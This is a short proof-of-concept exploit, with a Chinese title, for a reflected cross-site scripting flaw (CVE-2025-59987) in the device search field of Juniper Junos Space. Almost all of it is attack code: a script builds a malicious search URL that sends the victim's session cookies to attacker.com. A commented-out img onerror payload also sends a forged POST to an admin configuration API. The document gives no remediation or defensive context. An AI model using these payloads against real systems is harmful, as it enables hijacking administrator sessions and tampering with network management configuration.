CVE-2025-59987 Juniper Junos Space 跨站脚本漏洞

<!-- CVE-2025-59987 PoC - Reflected XSS in Juniper Junos Space Device Search Field --> <!-- This PoC demonstrates the XSS vulnerability in the device search functionality --> <!-- Step 1: Craft a malicious URL with JavaScript payload in the search parameter --> <!-- The search field fails to sanitize HTML/JS tags, allowing script injection --> <script> // Simulated exploitation payload // In a real scenario, this would be injected via the search field parameter var maliciousPayload = '<script>alert("XSS - Session Hijacked: " + document.cookie)<\/script>'; // Example of how the payload would be delivered via URL var targetUrl = 'https://junos-space-target/search?device=' + encodeURIComponent('<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>'); console.log('Malicious URL: ' + targetUrl); console.log('Payload: ' + maliciousPayload); // When admin clicks the link, the script executes in their browser context // and exfiltrates session cookies to the attacker's server </script> <!-- Alternative payload for stealing admin credentials or performing CSRF --> <!-- <img src=x onerror="fetch('/api/admin/config',{method:'POST',body:JSON.stringify({action:'modify',target:'all'}),credentials:'include'})"> -->